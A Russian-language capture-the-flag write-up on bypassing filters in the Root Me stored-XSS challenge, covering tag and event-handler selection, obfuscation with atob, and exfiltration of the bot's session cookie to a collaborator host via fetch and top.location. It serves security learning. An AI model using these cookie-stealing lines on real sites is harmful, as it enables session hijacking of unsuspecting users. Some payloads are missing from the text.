July 23, 2023

XSS - Stored - filter bypass - Root Me

Однажды я столкнулся с лабораторной работой по обходу фильтрации при XSS, которая решается не очевидным способом. Направление, в котором двигаться, не сразу становится понятным. Лаборатория блокирует множество символов, и бот реагирует только на определенные обработчики событий, которые не должны требовать каких-либо действий от пользователя.

Context XSS.

При выборе тега для внедрения XSS важно учитывать контекст, в котором он будет использоваться, и потенциальные ограничения или фильтрацию, применяемые на сайте. PortSwigger предоставляет набор примеров и тегов, которые могут быть полезны при тестировании уязвимостей XSS.

От разрешенных тегов можно строить дальнейшую атаку. Мой выбор пал на тег svg.

Попробуем использовать обработчик событий.

Совершим ту же операцию что и с подбором тегов, но уже с обработчиками событий.

Перед нами открывается большой список обработчиков событий, но не все из них нам подойдут, так как используемый бот в лаборатории реагирует только на очень ограниченное количество обработчиков событий.

Присутствует также проблема - валидация вхождения ().
Решается с помощью замены их на - ) *

В итоге контекст нашей XSS - обработчик событий.

Detect alert.

Для вывода alert подходит полезная нагрузка в виде:

В данном случае необходимо выполнить определенные действия, а именно - нажать на место внедрения полезной нагрузки. Это не подходит для бота и получения его сессии.

Аналогичный вариант с использованием внутреннего тега svg:

Print Cookie.

Вхождение document.cookie также блокируется.

Обход:

document.cookie

Выводим сессионный идентификатор:

Collaborator Cookie.

Важно уточнить что мы не можем использовать пробелы.

Посылать свой сессионный идентификатор буду с помощью fetch запроса:

fetch(`https://COLLAB/?jsonc=`+document.cookie)

Исправим его под нашу ситуацию:

fetch(`https://COLLAB/?jsonc=`/document.cookie)

Соберем полезную нагрузку:

Но к сожалению это не сработает. Видимо обработчик событий не подходит. Заменю на autofocus onfocus и тег button.

button

При нажатии на кнопку мы получаем ответ на свой коллаборатор. Осталось получить сессионный идентификатор администратора.

Steal Cookie.

Кажется, что украсть куки может быть легко, но, к сожалению, бот реагирует очень специфично, и необходимо понять, как именно мы сможем получить его сессию. В моем случае также подошел autofocus onfocus, но с небольшим изменением.

Можно заметить, что после прочтения нашего комментария на странице, запрос от бота идет, но сессионный идентификатор не приходит.

Решением стало использовать filter.constructor и atob:

В base64 закодировано:

fetch(`https://mrh71t911x9kj2jyxed0cl9n9ef53zro.oastify.com/?jsonc=`.concat(document.cookie))

Теперь не требуется нажатие от пользователя, и запрос выполняется без его ведома.

Похоже, что fetch здесь также не подошел из-за отсутствия редиректа бота. Видимо, он просматривает сообщения из отдельного интерфейса, и сессионный идентификатор не приходит. Я воспользуюсь альтернативным способом:

top.location='//COLLAB?'+document.cookie

Полезная нагрузка:

При открытии данного сообщения происходит редирект на другую страницу, и мне удается получить сессионный идентификатор.

Сдаём флаг: